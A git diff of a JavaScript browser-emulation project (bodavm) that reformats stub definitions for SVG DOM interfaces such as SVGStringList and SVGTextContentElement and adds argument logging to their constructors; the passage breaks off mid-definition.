-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSetElement'], "SVGSetElement"); -bodavm.memory.globalobj['SVGSetElement'].prototype.__proto__=bodavm.memory.globalobj['SVGAnimationElement'].prototype; -bodavm.memory.globalobj['SVGSetElement'].__proto__=bodavm.memory.globalobj['SVGAnimationElement']; +// SVGSetElement对象 + +bodavm.memory.globalobj['SVGSetElement'] = function SVGSetElement() { + console.log_copy('SVGSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSetElement'], "SVGSetElement"); +bodavm.memory.globalobj['SVGSetElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGAnimationElement'].prototype; +bodavm.memory.globalobj['SVGSetElement'].__proto__ = bodavm.memory.globalobj['SVGAnimationElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGStopElement.js b/env_xbb_lastest_jsdom/env/SVGStopElement.js index f2f19903..5da242a4 100644 --- a/env_xbb_lastest_jsdom/env/SVGStopElement.js +++ b/env_xbb_lastest_jsdom/env/SVGStopElement.js @@ -1,6 +1,27 @@ -// SVGStopElement对象 -bodavm.memory.globalobj['SVGStopElement'] = function SVGStopElement(){if (!(this instanceof SVGStopElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStopElement'], "SVGStopElement"); -bodavm.memory.globalobj['SVGStopElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGStopElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGStopElement', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStopElement'].prototype, "SVGStopElement", "offset_get", arguments)}, set:undefined},'prototype'); +// SVGStopElement对象 + +bodavm.memory.globalobj['SVGStopElement'] = function SVGStopElement() { + console.log_copy('SVGStopElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStopElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStopElement'], "SVGStopElement"); +bodavm.memory.globalobj['SVGStopElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGStopElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGStopElement', "offset", { + configurable: true, + enumerable: true, + get: function offset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStopElement'].prototype, "SVGStopElement", "offset_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGStringList.js b/env_xbb_lastest_jsdom/env/SVGStringList.js index 3b680284..3c391607 100644 --- a/env_xbb_lastest_jsdom/env/SVGStringList.js +++ b/env_xbb_lastest_jsdom/env/SVGStringList.js @@ -1,12 +1,89 @@ -// SVGStringList对象 -bodavm.memory.globalobj['SVGStringList'] = function SVGStringList(){if (!(this instanceof SVGStringList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStringList'], "SVGStringList"); -bodavm.toolsFunc.defineProperty('SVGStringList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStringList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "replaceItem", arguments)}},'prototype'); +// SVGStringList对象 + +bodavm.memory.globalobj['SVGStringList'] = function SVGStringList() { + console.log_copy('SVGStringList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStringList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStringList'], "SVGStringList"); +bodavm.toolsFunc.defineProperty('SVGStringList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStringList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStringList'].prototype, "SVGStringList", "replaceItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGStyleElement.js b/env_xbb_lastest_jsdom/env/SVGStyleElement.js index ba14d59d..78be2278 100644 --- a/env_xbb_lastest_jsdom/env/SVGStyleElement.js +++ b/env_xbb_lastest_jsdom/env/SVGStyleElement.js @@ -1,10 +1,67 @@ -// SVGStyleElement对象 -bodavm.memory.globalobj['SVGStyleElement'] = function SVGStyleElement(){if (!(this instanceof SVGStyleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStyleElement'], "SVGStyleElement"); -bodavm.memory.globalobj['SVGStyleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGStyleElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGStyleElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "sheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGStyleElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_set", arguments)}},'prototype'); +// SVGStyleElement对象 + +bodavm.memory.globalobj['SVGStyleElement'] = function SVGStyleElement() { + console.log_copy('SVGStyleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGStyleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGStyleElement'], "SVGStyleElement"); +bodavm.memory.globalobj['SVGStyleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGStyleElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGStyleElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "title", { + configurable: true, + enumerable: true, + get: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_get", arguments); + }, + set: function title() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "title_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGStyleElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGStyleElement'].prototype, "SVGStyleElement", "disabled_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGSwitchElement.js b/env_xbb_lastest_jsdom/env/SVGSwitchElement.js index aa63142d..48d4f5a9 100644 --- a/env_xbb_lastest_jsdom/env/SVGSwitchElement.js +++ b/env_xbb_lastest_jsdom/env/SVGSwitchElement.js @@ -1,5 +1,19 @@ -// SVGSwitchElement对象 -bodavm.memory.globalobj['SVGSwitchElement'] = function SVGSwitchElement(){if (!(this instanceof SVGSwitchElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSwitchElement'], "SVGSwitchElement"); -bodavm.memory.globalobj['SVGSwitchElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGSwitchElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; +// SVGSwitchElement对象 + +bodavm.memory.globalobj['SVGSwitchElement'] = function SVGSwitchElement() { + console.log_copy('SVGSwitchElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSwitchElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSwitchElement'], "SVGSwitchElement"); +bodavm.memory.globalobj['SVGSwitchElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGSwitchElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGSymbolElement.js b/env_xbb_lastest_jsdom/env/SVGSymbolElement.js index d375f690..48f72fa9 100644 --- a/env_xbb_lastest_jsdom/env/SVGSymbolElement.js +++ b/env_xbb_lastest_jsdom/env/SVGSymbolElement.js @@ -1,7 +1,35 @@ -// SVGSymbolElement对象 -bodavm.memory.globalobj['SVGSymbolElement'] = function SVGSymbolElement(){if (!(this instanceof SVGSymbolElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSymbolElement'], "SVGSymbolElement"); -bodavm.memory.globalobj['SVGSymbolElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGSymbolElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGSymbolElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSymbolElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); +// SVGSymbolElement对象 + +bodavm.memory.globalobj['SVGSymbolElement'] = function SVGSymbolElement() { + console.log_copy('SVGSymbolElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSymbolElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSymbolElement'], "SVGSymbolElement"); +bodavm.memory.globalobj['SVGSymbolElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGSymbolElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTSpanElement.js b/env_xbb_lastest_jsdom/env/SVGTSpanElement.js index ce1f1e80..734be381 100644 --- a/env_xbb_lastest_jsdom/env/SVGTSpanElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTSpanElement.js @@ -1,8 +1,37 @@ -// SVGTSpanElement对象 -bodavm.memory.globalobj['SVGTSpanElement'] = function SVGTSpanElement(){if (!(this instanceof SVGTSpanElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTSpanElement'], "SVGTSpanElement"); -bodavm.memory.globalobj['SVGTSpanElement'].prototype.__proto__=bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; -bodavm.memory.globalobj['SVGTSpanElement'].__proto__=bodavm.memory.globalobj['SVGTextPositioningElement']; -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); +// SVGTSpanElement对象 + +bodavm.memory.globalobj['SVGTSpanElement'] = function SVGTSpanElement() { + console.log_copy('SVGTSpanElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTSpanElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTSpanElement'], "SVGTSpanElement"); +bodavm.memory.globalobj['SVGTSpanElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement'].prototype; +bodavm.memory.globalobj['SVGTSpanElement'].__proto__ = bodavm.memory.globalobj['SVGTextPositioningElement']; +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTSpanElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGTextContentElement.js b/env_xbb_lastest_jsdom/env/SVGTextContentElement.js index c414fc0d..a87762a2 100644 --- a/env_xbb_lastest_jsdom/env/SVGTextContentElement.js +++ b/env_xbb_lastest_jsdom/env/SVGTextContentElement.js @@ -1,22 +1,143 @@ -// SVGTextContentElement对象 -bodavm.memory.globalobj['SVGTextContentElement'] = function SVGTextContentElement(){if (!(this instanceof SVGTextContentElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextContentElement'], "SVGTextContentElement"); -bodavm.memory.globalobj['SVGTextContentElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGTextContentElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "textLength", {configurable:true, enumerable:true, get:function textLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "textLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "lengthAdjust", {configurable:true, enumerable:true, get:function lengthAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "lengthAdjust_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getCharNumAtPosition", {configurable:true, enumerable:true, writable:true, value:function getCharNumAtPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getCharNumAtPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getComputedTextLength", {configurable:true, enumerable:true, writable:true, value:function getComputedTextLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getComputedTextLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getEndPositionOfChar", {configurable:true, enumerable:true, writable:true, value:function getEndPositionOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getEndPositionOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getExtentOfChar", {configurable:true, enumerable:true, writable:true, value:function getExtentOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getExtentOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getNumberOfChars", {configurable:true, enumerable:true, writable:true, value:function getNumberOfChars (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getNumberOfChars", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getRotationOfChar", {configurable:true, enumerable:true, writable:true, value:function getRotationOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getRotationOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getStartPositionOfChar", {configurable:true, enumerable:true, writable:true, value:function getStartPositionOfChar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getStartPositionOfChar", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getSubStringLength", {configurable:true, enumerable:true, writable:true, value:function getSubStringLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getSubStringLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGTextContentElement', "selectSubString", {configurable:true, enumerable:true, writable:true, value:function selectSubString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "selectSubString", arguments)}},'prototype'); +// SVGTextContentElement对象 + +bodavm.memory.globalobj['SVGTextContentElement'] = function SVGTextContentElement() { + console.log_copy('SVGTextContentElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGTextContentElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGTextContentElement'], "SVGTextContentElement"); +bodavm.memory.globalobj['SVGTextContentElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGTextContentElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACINGANDGLYPHS", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_SPACING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "LENGTHADJUST_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "textLength", { + configurable: true, + enumerable: true, + get: function textLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "textLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "lengthAdjust", { + configurable: true, + enumerable: true, + get: function lengthAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "lengthAdjust_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getCharNumAtPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function getCharNumAtPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGTextContentElement'].prototype, "SVGTextContentElement", "getCharNumAtPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGTextContentElement', "getComputedTextLength", { + configurable: true, + enumerable: true, + writable: true, + value: function 